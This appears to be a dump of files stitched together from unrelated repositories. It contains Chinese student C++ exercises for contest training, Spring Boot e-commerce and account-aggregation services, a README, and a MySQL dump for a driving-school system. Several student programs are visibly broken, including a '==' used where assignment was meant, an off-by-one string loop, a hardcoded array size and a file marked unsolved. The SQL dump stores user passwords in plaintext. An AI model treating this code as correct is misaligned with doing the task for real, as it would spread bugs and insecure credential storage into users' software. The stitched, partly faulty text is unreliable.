f(s);//递归
}
return c;
}
<file_sep>/2020备战蓝桥/张宇菲/放苹果.cpp
#include<stdio.h>
int ping(int m,int n){
if(m==0||n==1) return 1;
if(m<n) return ping(m,m);
else
return ping(m,n-1)+ping(m-n,n);
}
int main(){
int t,n,m;
scanf("%d",&t);
while(t--){
scanf("%d%d",&m,&n);
printf("%d\n",ping
(m,n));
}
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十二次作业/12.5.cpp
#include<iostream>
#include<string>
#include<set>
#include<sstream>
using namespace std;
set<string> dict;
string s,buf;
int main()
{
while(cin>>s)
{
int i,j;
j=0;
for(i=0;i<s.length();i++)
{
if(s[i]=='-')
j++;
}
if(j==1)
{
stringstream ss(s);
while(ss >> buf)
dict.insert(buf);
}
if(s<"A")break;
}
for(set<string>::iterator it = dict.begin(); it != dict.end(); ++it)
cout << *it << "\n";
return 0;
}<file_sep>/2020备战蓝桥/李满/第12次作业/12.3.cpp
#include <iostream>
#include <queue>
using namespace std;
queue<int> k;
int main(int argc, char *argv[])
{
int n;
while(cin>>n&&n)
{
for(int i=1;i<=n;i++)
k.push(i);
cout<<"Discarded cards:";
while(k.size()!=1)
{
cout<<" "<<k.front();
if(k.size()>2)
cout<<",";
k.pop();
k.push(k.front());
k.pop();
}
cout<<endl;
cout<<"Remaining card: "<<k.front()<<endl;
k.pop();
}
return 0;
}
<file_sep>/2020备战蓝桥/何永康/第十二次作业/2.cpp
/*2、习题---5-2Ducci序列(UVa1594)
对于一个n元组(a1, a2, …, an),可以对于每个数
求出它和下一个数的差的绝对值,得到一个新的n元组
(|a1-a2|, |a2-a3|, …, |an-a1|)。重复这个过程,
得到的序列称为Ducci序列,例如:
(8, 11, 2, 7) -> (3, 9, 5, 1) ->
(6, 4, 4, 2) -> (2, 0, 2, 4) ->
(2, 2, 2, 2) -> (0, 0, 0, 0).
也有的Ducci序列最终会循环。输入n元组(3≤n≤15)
,你的任务是判断它最终会变成0还是会循环。
输入保证最多1000步就会变成0或者循环。 (一)样例输入
448 11 2 754 2 0 2 070 0 0 0 0 0 061 2 3 1 2 3
(二)样例输出
ZEROLOOPZEROLOOP
*/
/*
#include <iostream>
#include <cmath>
#include <vector>
using namespace std;
vector<int>s;
vector<int>m;
int main()
{
int t;
cout<<"请输入循环次数:";
cin>>t;
while(t--)
{
int n,i;
cout<<"请输入数组为几元组:";
cin>>n;
//int* s=(int *) malloc(sizeof(int)*n);
//int* m=(int *) malloc(sizeof(int)*n); //用此动态数组会使输出总是LOOP 不知道为何。
s.resize(n);
m.resize(n);
cout<<"请输入数组元素"<<endl;
for(i=0;i<n;i++)
{
cin>>s[i];
m[i]=0;
}
for (i = 1; i <= 1000; i++)
{
int k = 0;
k = s[0]; //把第一数先存起来,以便后面的最后一个数和第一个数的差.
for (int j = 0; j < n - 1; j++)
{
s[j] = abs(s[j] - s[j + 1]);
}
s[n - 1] = abs(k - s[n - 1]);
}
if (s == m) //判断此时是否全部的数都变成0了
{
cout << "ZERO" << endl;
break;
}
else //无限循环
cout<<"LOOP"<<endl;
}
return 0;
}
*/
<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-9(2).cpp
//有问题,未解决
#include <iostream>
#include <cstring>
using namespace std;
//123456分别表示上前左右后下
int x[6][6] =
{
1,2,3,4,5,6,
5,1,3,4,6,2,
2,6,3,4,1,5,
1,4,2,5,3,6,
1,5,4,3,2,6,
1,3,5,2,4,6
};//任取一个面位于前面
int y[4][6] =
{
1,2,3,4,5,6,
3,2,6,1,5,4,
6,2,4,3,5,1,
4,2,1,6,5,3
};//转动上下左右四个面
//通过两次循环遍历二维数组x和y即可考虑到骰子所有情况
bool color(char *a, char *b)
{
for(int i=0;i<6;i++)
{
char t1[7];
for(int j=0;j<6;j++)
t1[j] == a[x[i][j]-1];
t1[6] = '\0';
for(int m=0;m<4;m++)
{
char t2[7];
for(int n=0;n<6;n++)
t2[n] = t1[y[m][n]-1];
t2[6] = '\0';
if(strcmp(t2,b) == 0)
return true;
}
}
return false;
}
int main()
{
int time = 0;//记录输入了多少组数据
int o[5] = {0};
string w1[5];
// char w[15] = {0};//用来存储用户输入的数据
char a[7] = {0};//存储第一个骰子
char b[7] = {0};//存储第二个骰子
while(time != 3)
{
cin>>w1[time];
char w2[20];
strcpy(w2,w1[time].c_str());
for(int i=0;i<6;i++)
{
a[i+1] = w2[i];
b[i+1] = w2[i+6];
}
o[time] = color(a,b);
time++;
}
for(int i=0;i<time;i++)
{
if(o[i] == 1)
cout<<"TRUE"<<endl;
if(o[i] == 0)
cout<<"FALSE"<<endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.5.4.cpp
/*11.5.4统计字符串中的数字个数*/
#include<iostream>
#include<string>
using namespace std;
int main()
{
int cnt=0;
string str;
cin>>str;
for(int i=0;i<=str.length();i++)
{
if(str[i]>='0'&&str[i]<='9')
cnt++;
}
cout<<cnt<<endl;
return 0;
}
<file_sep>/Resistance/serial.h
#ifndef SERIAL_H
#define SERIAL_H
#include <QSerialPort>
#include <QSerialPortInfo>
class Serial : public QObject
{
Q_OBJECT
public:
explicit Serial(QObject *parent = nullptr);
signals:
public slots:
};
#endif // SERIAL_H
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.4 将下列算式或叙述用C++表达式描述.cpp
/*11.4 将下列算式或叙述用C++表达式描述。*/
#include<iostream>
#include<cmath>
using namespace std;
double PI = 3.1415926;
int main()
{
double x = 1, c = 1, y = 2, a = 1, b = 1, k = 1;
cout << PI / 2 + sqrt(asin(x) * asin(x) + c * c) << endl;
cout << (x + y) / ((x - y) * a * y) << endl;
cout << (sqrt(x * x + y * y) >= a) && (sqrt(x * x + y * y) <= b);
cout << (a != b) << (a != c) << (b != c) << endl;
cout << (k <= 20) << endl;
getchar();
return 0;
}<file_sep>/2020备战蓝桥/黄杨/第十次作业/5.cpp
#include <stdio.h>
int main()
{
int i,j,y,m,d,h,s;
int a[13]={0,31,28,31,30,31,30,31,31,30,31,30,31};
printf("请输入年、月、日:\n");
scanf("%d,%d,%d",&y,&m,&d);
m=365,j=0;
for(i=1990;i<y;i++)
{
if((i%4==0&&i%100!=0)||i%400==0)
{
j=j+m+1;
}
else
j=j+m;
}
h=0;
for(i=1;i<m;i++)
{
h=h+a[i];
}
if((y%4==0&&y%100!=0)||y%400==0)
if(m>2)
h=h+1;
s=j+h+d;
i=s%5;
if(i<=3)
printf("今天是打鱼\n");
else
printf("今天是晒网\n");
return 0;
}
<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.1.cpp
#include<iostream>
using namespace std;
typedef struct
{
int data[2000];
int top0;
int end0;
int size;
void push_front(int x){data[top0--]=x;size++;}
void push_back(int x){data[end0++]=x;size++;}
void pop_front(){if(top0==end0)cout<<"error!";else {top0++;size--;}}
void pop_back(){if(top0==end0)cout<<"error!";else {end0--;size--;}}
bool empty(){return(top0==end0);}
int Size(){return size;}
int front(){return data[top0+1];}
int back(){return data[end0-1];}
}quque;
int main()
{
quque q1;
q1.top0=1000;
q1.end0=1000;
q1.size=0;
int order;
int x;
while (1)
{
cout<<" 请选择命令:1-前端入队操作,2-前端出队操作,3-尾端入队操作,4-尾端出队操作,5-查询队列长度,6-结束 :";
cin>>order;
switch (order)
{
case 1:
cout<<" 请输入前端需要入队的数值:"<<endl;
cin>>x;
q1.push_front(x);
break;
case 2:
if (q1.empty())
{
cout<<" 队列为空"<<endl;
break;
}
cout<<"前端出队的数据为:"<<q1.front()<<endl;
q1.pop_front();
break;
case 3:
cout<<" 请输入尾端需要入队的数值:"<<endl;
cin>>x;
q1.push_back(x);
break;
case 4:
if (q1.empty())
{
cout<<" 队列为空"<<endl;
break;
}
cout<<"尾端出队的数据为:"<<q1.back()<<endl;
q1.pop_back();
break;
case 5:
cout<<q1.Size()<<endl;
break;
default: goto q;
}
}
q: return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_2.cpp
#include<iostream>
#include<math.h>
using namespace std;
int main()
{
int n,t,k=0;
cin>>n;
double a[n];
for(int i=0;i<n;i++)
{
cin>>a[i];
}
while(1)
{
t=a[0];
a[0]=fabs(a[0]-a[1]);
a[1]=fabs(a[1]-a[2]);
a[2]=fabs(a[2]-a[3]);
a[3]=fabs(a[3]-t);
k++;
if(a[0]==a[1]&&a[1]==a[2]&&a[2]==a[3])
{
cout<<"0"<<endl;
break;
}
if(k>=1000)
{
cout<<"1"<<endl;
break;
}
}
cout<<k<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十次作业/10-3.cpp
#include<iostream>
using namespace std;
char s[10][10] = {"","","ABC","DEF","GHI","JKL","MNO","PQRS","TUV","WXYZ"};
int number[10] = {0,0,3,3,3,3,3,4,3,4};
int sum = 0;
void T3(int *a,int *b,int index,int n)
{
if(index == n)
{
for(int i=0;i<n;i++)
{
sum++;
cout<<s[a[i]][b[i]];
if(sum%n == 0)
{
cout<<endl;
}
}
return;
}
for(b[index]=0;b[index]<number[a[index]];b[index]++)
T3(a,b,index+1,n);
}
int main()
{
int a[11];
int b[11];
int n = 0;
cout<<"please input the length of the phone number:"<<endl;
cin>>n;
cout<<"please input a phone number"<<endl;
for(int i=0;i<n;i++)
cin>>a[i];
T3(a,b,0,n);
cout<<sum<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十次作业/10_4.cpp
#include<stdio.h>
#include<math.h>
void S(int n);
int main()
{
int n;
printf("Enter n=");
scanf("%d",&n);
S(n);
return 0;
}
void S(int n)
{
double s=1.0,h=1.0;
for(int i=1;i<n;i++)
{
h=h*(1.0/2);
s+=h;
}
printf("h1=%fh\ns=%fh\n",h/2,s);
}
| 3fa2aaf3d3ab4a8422fd27b51249119ee67c2a3e | [
"Java",
"C",
"C++",
"Markdown"
] | 236 | C++ | WireLife/FightingCode | cb0bc25e8bde52347fb2a0113b8c47a97a1b4ce0 | a1e620e1236749c644715397916831d706e14a97 |
refs/heads/master | <repo_name>HARRISKING/morney-rails-5<file_sep>/app/models/record.rb
class Record < ApplicationRecord
enum category: { outgoings: 1, income: 2 }
validates_presence_of :amount, :category
end
| 6f599d64c9069b48d473e06e2fe5ca28a7a8312d | [
"Ruby"
] | 1 | Ruby | HARRISKING/morney-rails-5 | 8fa176f960c98f02df5c5b7ed5017442f71a9385 | 517eaebc9812fa635cddbfa224ded951981b2867 |
refs/heads/master | <repo_name>ailie/Aggregation-Service<file_sep>/src/main/java/com/example/aggregator/domain/Creditor.java
package com.example.aggregator.domain;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
@Entity
public class Creditor {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
private String maskedPan;
private String name;
Creditor() {
}
public Creditor(long id, String maskedPan, String name) {
this.id = id;
this.maskedPan = maskedPan;
this.name = name;
}
public long getId() {
return id;
}
public String getMaskedPan() {
return maskedPan;
}
public String getName() {
return name;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("Creditor [id=")
.append(id)
.append(", maskedPan=")
.append(maskedPan)
.append(", name=")
.append(name)
.append("]");
return builder.toString();
}
}
<file_sep>/src/main/java/com/example/aggregator/repository_remote/RemoteRepositoryAuthenticator.java
package com.example.aggregator.repository_remote;
import static org.slf4j.LoggerFactory.getLogger;
import static org.springframework.http.MediaType.APPLICATION_JSON;
import java.util.Optional;
import org.slf4j.Logger;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Service;
import org.springframework.web.reactive.function.client.WebClient;
@Service
@PropertySource(value = { "classpath:application.properties" })
class RemoteRepositoryAuthenticator {
private static final Logger LOG = getLogger(RemoteRepositoryAuthenticator.class);
private final WebClient webClient;
public RemoteRepositoryAuthenticator(@Value("${remoteRepositoryURL}") String remoteRepositoryURL,
WebClient.Builder webClientBuilder) {
this.webClient = webClientBuilder.baseUrl(remoteRepositoryURL).build();
}
/** @param username
* the user to log into the remote repository
* @return the JSON Web Token needed for further calls to the remote repository, or
* nothing if the login was unsuccessful */
Optional<String> login(String username) {
try {
return webClient.post()
.uri("/login")
.header("username", username)
.accept(APPLICATION_JSON)
.retrieve()
.bodyToFlux(LoginResponse.class)
.toStream()
.map(LoginResponse::getToken)
.findFirst();
} catch (Throwable e) {
LOG.error("Could not login against the remote repository !", e);
return Optional.empty();
}
}
static class LoginResponse {
private String token;
LoginResponse() {
}
LoginResponse(String token) {
this.token = token;
}
String setToken(String token) {
return this.token = token;
}
String getToken() {
return token;
}
}
}
<file_sep>/src/main/java/com/example/aggregator/repository_local/AccountDAO.java
package com.example.aggregator.repository_local;
import org.springframework.data.repository.CrudRepository;
import com.example.aggregator.domain.Account;
public interface AccountDAO extends CrudRepository<Account, String> {
Iterable<Account> findByUserId(String userId);
}
<file_sep>/src/main/java/com/example/aggregator/presentation/FrontController.java
package com.example.aggregator.presentation;
import static org.springframework.util.StringUtils.isEmpty;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.example.aggregator.domain.Account;
import com.example.aggregator.domain.Transaction;
import com.example.aggregator.domain.User;
import com.example.aggregator.domain_logic.DataHandler;
@RestController
public class FrontController {
private final DataHandler dataHandler;
private FrontController(DataHandler dataHandler) {
this.dataHandler = dataHandler;
}
@GetMapping("/users")
private Iterable<User> listUsers() {
return dataHandler.listUsers();
}
@GetMapping("/accounts")
private Iterable<Account> listAccountsByUser(
@RequestParam(value = "user", required = false) String user) {
if (isEmpty(user)) {
throw new UnsupportedOperationException("Please specify an username, eg: /accounts?user=FOO");
} else {
return dataHandler.listAccountsByUser(user);
}
}
@GetMapping("/transactions")
private Iterable<Transaction> listTransactionByAccount(
@RequestParam(value = "account", required = false) String account) {
if (isEmpty(account)) {
throw new UnsupportedOperationException("Please specify an account, eg: /transactions?account=BAR");
} else {
return dataHandler.listTransactionByAccount(account);
}
}
@ExceptionHandler(UnsupportedOperationException.class)
private String showError(Throwable throwable) {
return throwable.getMessage();
}
}
<file_sep>/src/main/java/com/example/aggregator/repository_local/TransactionDAO.java
package com.example.aggregator.repository_local;
import org.springframework.data.repository.CrudRepository;
import com.example.aggregator.domain.Transaction;
public interface TransactionDAO extends CrudRepository<Transaction, String> {
Iterable<Transaction> findByAccountId(String accountId);
}
<file_sep>/README.md
# Aggregation-Service
A micro-service built on top of these Spring-Boot modules: web, webflux, data-jpa.
## This service is part of a distributed system so, in order to use it, you have to first download and start its sibling-service (ie back-end service):
$ docker --version
Docker version 19.03.11, build 42e35e6
$ su
# docker pull mihaitatinta/wiremock-example:0.0.1
# docker run -it --rm -p 8080:8080 acf5ec487953ea367271bdd7ed93bfea2ae963b1125e43a4f9ffb9e8cc95fc7a
## Now it's time to download, build, and start THIS service:
$ git clone https://github.com/ailie/Aggregation-Service.git
$ cd Aggregation-Service/
$ mvn --version
Apache Maven 3.6.1 (Red Hat 3.6.1-5)
Maven home: /usr/share/maven
Java version: 1.8.0_265, vendor: Red Hat, Inc, runtime: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.265.b01-1.fc32.x86_64/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.7.11-200.fc32.x86_64", arch: "amd64", family: "unix"
$ mvn package && java -jar target/aggregator-0.0.1-SNAPSHOT.jar || mvn spring-boot:run
## Finally, interact with the service you just started:
$ curl http://localhost:8765/users
[{
"id": "eiohanis",
"name": "<NAME>"
},{
"id": "niliescu",
"name": "<NAME>"
}]
$ curl http://localhost:8765/accounts
Please specify an username, eg: /accounts?user=FOO
$ curl http://localhost:8765/accounts?user=niliescu
[{
"id": "f1580fd6-611a-4cbe-8a17-8efff3226983",
"userId": "niliescu",
"update": "2020-08-11T03:52:30.841+0000",
"name": "Account-niliescu",
"product": "Gold account.",
"status": "ENABLED",
"type": "CREDIT_CARD",
"balance": 1676.90
}]
$ curl http://localhost:8765/transactions
Please specify an account, eg: /transactions?account=BAR
$ curl http://localhost:8765/transactions?account=f1580fd6-611a-4cbe-8a17-8efff3226983
[{
"id": "003b7bfd-a2ce-4867-8fdc-47d8ccb841bd",
"accountId": "f1580fd6-611a-4cbe-8a17-8efff3226983",
"exchangeRate": {
"currencyFrom": "EUR",
"currencyTo": "USD",
"rate": 1.10
},
"originalAmount": {
"amount": 31.43,
"currency": "USD"
},
"creditor": {
"maskedPan": "XXXXXXXXXX12319",
"name": "Creditor 12319"
},
"debtor": {
"maskedPan": "XXXXXXXXXX98719",
"name": "DebtorName 98719"
},
"status": "BOOKED",
"currency": "EUR",
"amount": 28.57,
"update": "2020-08-11T03:52:30.853+0000",
"description": "Mc Donalds Amsterdam transaction - 19"
},{
"id": "f4fae0da-4332-4342-8c51-b786f0ecd018",
"accountId": "f1580fd6-611a-4cbe-8a17-8efff3226983",
"exchangeRate": {
"currencyFrom": "EUR",
"currencyTo": "USD",
"rate": 1.10
},
"originalAmount": {
"amount": 21.48,
"currency": "USD"
},
"creditor": {
"maskedPan": "XXXXXXXXXX12333",
"name": "Creditor 12333"
},
"debtor": {
"maskedPan": "XXXXXXXXXX98733",
"name": "DebtorName 98733"
},
"status": "BOOKED",
"currency": "EUR",
"amount": 19.53,
"update": "2020-08-11T03:52:30.854+0000",
"description": "Mc Donalds Amsterdam transaction - 33"
}]
<file_sep>/src/main/java/com/example/aggregator/repository_remote/RemoteRepository.java
package com.example.aggregator.repository_remote;
import static org.slf4j.LoggerFactory.getLogger;
import static org.springframework.http.MediaType.APPLICATION_JSON;
import java.util.Optional;
import java.util.stream.Stream;
import org.slf4j.Logger;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Service;
import org.springframework.web.reactive.function.client.WebClient;
import com.example.aggregator.domain.Account;
import com.example.aggregator.domain.Transaction;
@Service
@PropertySource(value = { "classpath:application.properties" })
public class RemoteRepository {
private static final Logger LOG = getLogger(RemoteRepository.class);
/** package-private to allow for test asserts */
final RemoteRepositoryAuthenticator authenticator;
private final WebClient webClient;
public RemoteRepository(@Value("${remoteRepositoryURL}") String remoteRepositoryURL,
WebClient.Builder webClientBuilder,
RemoteRepositoryAuthenticator authenticator) {
this.webClient = webClientBuilder.baseUrl(remoteRepositoryURL).build();
this.authenticator = authenticator;
}
public Stream<Account> findAllAccounts(String username) {
Optional<String> jwt = authenticator.login(username);
if (!jwt.isPresent()) {
return Stream.empty();
}
try {
return webClient
.get()
.uri("/accounts")
.header("X-AUTH", jwt.get())
.accept(APPLICATION_JSON)
.retrieve()
.bodyToFlux(Account.class)
.toStream()
.peek(e -> e.setUserId(username));
} catch (Throwable e) {
LOG.error("Could not load accounts from remote repository !", e);
return Stream.empty();
} finally {
// The resources used by WebClient are managed by the framework
}
}
public Stream<Transaction> findAllTransactions(String username) {
Optional<String> jwt = authenticator.login(username);
if (!jwt.isPresent()) {
return Stream.empty();
}
try {
return webClient
.get()
.uri("/transactions")
.header("X-AUTH", jwt.get())
.accept(APPLICATION_JSON)
.retrieve()
.bodyToFlux(Transaction.class)
.toStream();
} catch (Throwable e) {
LOG.error("Could not load transactions from remote repository !", e);
return Stream.empty();
} finally {
// The resources used by WebClient are managed by the framework
}
}
}
<file_sep>/src/main/java/com/example/aggregator/domain/Debtor.java
package com.example.aggregator.domain;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
/** Intentional spelling mistake - to be consistent with the remote API. */
@Entity
public class Debtor {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
private String maskedPan;
private String name;
Debtor() {
}
public Debtor(long id, String maskedPan, String name) {
this.id = id;
this.maskedPan = maskedPan;
this.name = name;
}
public long getId() {
return id;
}
public String getMaskedPan() {
return maskedPan;
}
public String getName() {
return name;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("Debtor [id=")
.append(id)
.append(", maskedPan=")
.append(maskedPan)
.append(", name=")
.append(name)
.append("]");
return builder.toString();
}
}
| 527c67b1b20eb8cf70e4e19c6c8e128f0f5447c1 | [
"Markdown",
"Java"
] | 8 | Java | ailie/Aggregation-Service | 30020898f29b126010c5709a1e4ef96d75191556 | 9ae881a43c39a89a7037d6343dbe26156e2fb8a9 |
refs/heads/master | <repo_name>TNAJIKHALID/e-comerce-App<file_sep>/src/main/java/com/example/demo/web/AcountRestController.java
package com.example.demo.web;
import com.example.demo.dao.UserRepository;
import com.example.demo.entities.AppUser;
import com.example.demo.services.AccountService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class AcountRestController {
@Autowired
private AccountService accountService;
private UserRepository userRepository;
@PostMapping("/register")
public AppUser register(@RequestBody RegisterForm user) {
if (!user.getPassword().equals(user.getRepassword())) {
throw new RuntimeException("error password...");
} else if (accountService.findUserByUsername(user.getUsername()) != null) {
throw new RuntimeException("user already exist");
} else {
AppUser appUser = new AppUser();
appUser.setPassword(<PASSWORD>());
appUser.setUsername(user.getUsername());
appUser = accountService.saveUser(appUser);
accountService.addRoleToUse(user.getUsername(),"USER");
return appUser;
}
}
}
<file_sep>/src/main/java/com/example/demo/web/OrderForm.java
package com.example.demo.web;
import com.example.demo.entities.Client;
import com.example.demo.entities.Product;
import lombok.Data;
import java.util.Map;
@Data
public class OrderForm {
private Client client;
private com.example.demo.web.Caddy caddy;
private float totalAmount;
public Client getClient( ) {
return client;
}
public void setClient(Client client) {
this.client = client;
}
public Caddy getCaddy( ) {
return caddy;
}
public void setCaddy(Caddy caddy) {
this.caddy = caddy;
}
public float getTotalAmount( ) {
return totalAmount;
}
public void setTotalAmount(float totalAmount) {
this.totalAmount = totalAmount;
}
}
@Data
class Caddy {
public String name;
public Map<Integer, ProductItem> items;
public Client client;
public String getName( ) {
return name;
}
public void setName(String name) {
this.name = name;
}
public Map<Integer, ProductItem> getItems( ) {
return items;
}
public void setItems(Map<Integer, ProductItem> items) {
this.items = items;
}
public Client getClient( ) {
return client;
}
public void setClient(Client client) {
this.client = client;
}
}
@Data
class ProductItem {
public Product product;
public Integer quantity;
public Integer price;
public Product getProduct( ) {
return product;
}
public void setProduct(Product product) {
this.product = product;
}
public Integer getQuantity( ) {
return quantity;
}
public void setQuantity(Integer quantity) {
this.quantity = quantity;
}
public Integer getPrice( ) {
return price;
}
public void setPrice(Integer price) {
this.price = price;
}
}<file_sep>/src/main/resources/application.properties
#server.port = 8080
#spring.servlet.multipart.max-file-size=5000KB
#spring.servlet.multipart.max-request-size=5000KB
#spring.datasource.url = jdbc:mysql://localhost:3306/ecommerce?serverTimezone=UTC
#spring.datasource.username = root
#spring.datasource.password =
#spring.jpa.show-sql = true
#spring.jpa.hibernate.ddl-auto = create
##spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5InnoDBDialect
#spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5Dialect
<file_sep>/src/main/java/com/example/demo/dao/UserRepository.java
package com.example.demo.dao;
import com.example.demo.entities.AppUser;
import org.springframework.data.jpa.repository.JpaRepository;
public interface UserRepository extends JpaRepository<AppUser,Long> {
public AppUser findByUsername(String username);
}
<file_sep>/src/main/java/com/example/demo/dao/ProductRepository.java
package com.example.demo.dao;
import com.example.demo.entities.Product;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.repository.query.Param;
import org.springframework.data.rest.core.annotation.RepositoryRestResource;
import org.springframework.data.rest.core.annotation.RestResource;
import org.springframework.web.bind.annotation.CrossOrigin;
@CrossOrigin("*")
@RepositoryRestResource
public interface ProductRepository extends JpaRepository<Product, Long> {
@RestResource(path = "/selectedProducts")
public Page<Product> findBySelectedIsTrue(Pageable pageable);
@RestResource(path = "/productsByKeyword")
public Page<Product> findByNameContains(String mc, Pageable pageable);
@RestResource(path = "/promoProducts")
public Page<Product> findByPromotionIsTrue(Pageable pageable);
@RestResource(path = "/dispoProducts")
public Page<Product> findByAvailableIsTrue(Pageable pageable);
@RestResource(path = "/dispoPromoProducts")
public Page<Product> findByAvailableIsTrueAndPromotionIsTrue(Pageable pageable);
@RestResource(path = "/pcat" , rel = "id")
public Page<Product> findAllProductByCategoryId(@Param("id")Long id, Pageable pageable);
@RestResource(path = "/pcatDispoProducts" , rel = "id")
public Page<Product> findAllProductByCategoryIdAndAvailableIsTrue(@Param("id")Long id, Pageable pageable);
@RestResource(path = "/pcatPromoProducts" , rel = "id")
public Page<Product> findAllProductByCategoryIdAndPromotionIsTrue(@Param("id")Long id, Pageable pageable);
@RestResource(path = "/pcatPromoDispoProducts" , rel = "id")
public Page<Product> findAllProductByCategoryIdAndPromotionIsTrueAndSelectedIsTrue(@Param("id")Long id, Pageable pageable);
}
<file_sep>/src/main/java/com/example/demo/dao/TaskRepository.java
package com.example.demo.dao;
import com.example.demo.entities.Task;
import org.springframework.data.jpa.repository.JpaRepository;
public interface TaskRepository extends JpaRepository<Task,Long>{
}
| f08e3ca012584fd631f5dc160b7f7fae89111d13 | [
"Java",
"INI"
] | 6 | Java | TNAJIKHALID/e-comerce-App | 46e44a60feb582ce30554d60af656af79350fa55 | a940a991e8b08b40de40d7a0a1bf7701c3c080a7 |
refs/heads/main | <repo_name>Taiosullivan/Sistema-autoescola<file_sep>/autoescola.sql
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Tempo de geração: 06-Out-2020 às 19:59
-- Versão do servidor: 10.4.13-MariaDB
-- versão do PHP: 7.4.8
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Banco de dados: `autoescola`
--
-- --------------------------------------------------------
--
-- Estrutura da tabela `categorias`
--
CREATE TABLE `categorias` (
`id` int(11) NOT NULL,
`nome` varchar(15) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Extraindo dados da tabela `categorias`
--
INSERT INTO `categorias` (`id`, `nome`) VALUES
(1, 'A'),
(2, 'B'),
(3, 'C'),
(4, 'D');
-- --------------------------------------------------------
--
-- Estrutura da tabela `instrutores`
--
CREATE TABLE `instrutores` (
`id` int(11) NOT NULL,
`nome` varchar(50) NOT NULL,
`email` varchar(50) NOT NULL,
`cpf` varchar(20) NOT NULL,
`telefone` varchar(20) NOT NULL,
`endereco` varchar(100) NOT NULL,
`credencial` varchar(50) NOT NULL,
`data_venc` date NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Extraindo dados da tabela `instrutores`
--
INSERT INTO `instrutores` (`id`, `nome`, `email`, `cpf`, `telefone`, `endereco`, `credencial`, `data_venc`) VALUES
(13, '<NAME>', '<EMAIL>', '012.365.478-52', '(33) 33333-3333', 'Rua Almeida Campos 150', '015454555', '2021-06-25'),
(14, '<NAME>', '<EMAIL>', '031.554.514-54', '(54) 55555-5555', 'Rua Almeida Campos 150', '054455455', '2021-05-22');
-- --------------------------------------------------------
--
-- Estrutura da tabela `recepcionistas`
--
CREATE TABLE `recepcionistas` (
`id` int(11) NOT NULL,
`nome` varchar(50) NOT NULL,
`email` varchar(50) NOT NULL,
`cpf` varchar(20) NOT NULL,
`telefone` varchar(20) NOT NULL,
`endereco` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Extraindo dados da tabela `recepcionistas`
--
INSERT INTO `recepcionistas` (`id`, `nome`, `email`, `cpf`, `telefone`, `endereco`) VALUES
(2, '<NAME>', '<EMAIL>', '545.484.154-54', '(54) 84555-5555', 'Rua Almeida Campos 150');
-- --------------------------------------------------------
--
-- Estrutura da tabela `usuarios`
--
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL,
`nome` varchar(50) NOT NULL,
`cpf` varchar(20) NOT NULL,
`usuario` varchar(50) NOT NULL,
`senha` varchar(35) NOT NULL,
`nivel` varchar(35) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Extraindo dados da tabela `usuarios`
--
INSERT INTO `usuarios` (`id`, `nome`, `cpf`, `usuario`, `senha`, `nivel`) VALUES
(1, 'Administrador', '000.000.000-00', '<EMAIL>', '123', 'admin'),
(2, '<NAME>', '012.365.478-52', '<EMAIL>', '123', 'instrutor'),
(4, '<NAME>', '545.484.154-54', '<EMAIL>', '123', 'recep');
-- --------------------------------------------------------
--
-- Estrutura da tabela `veiculos`
--
CREATE TABLE `veiculos` (
`id` int(11) NOT NULL,
`placa` varchar(20) NOT NULL,
`categoria` varchar(5) NOT NULL,
`km` int(11) NOT NULL,
`cor` varchar(35) NOT NULL,
`marca` varchar(50) NOT NULL,
`ano` int(11) NOT NULL,
`data_revisao` date NOT NULL,
`instrutor` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Extraindo dados da tabela `veiculos`
--
INSERT INTO `veiculos` (`id`, `placa`, `categoria`, `km`, `cor`, `marca`, `ano`, `data_revisao`, `instrutor`) VALUES
(1, 'PWD-4526', 'B', 15000, 'Azul', 'Sandero', 2012, '2020-10-06', 0),
